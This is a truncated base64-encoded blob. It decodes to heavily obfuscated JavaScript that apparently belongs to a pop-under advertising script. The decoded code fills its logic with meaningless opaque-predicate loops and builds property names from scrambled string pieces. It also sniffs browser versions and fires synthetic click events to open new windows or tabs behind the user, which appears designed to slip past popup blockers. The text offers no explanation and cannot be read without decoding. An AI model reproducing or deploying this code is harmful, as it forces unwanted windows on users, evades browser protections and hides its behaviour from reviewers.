G8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWM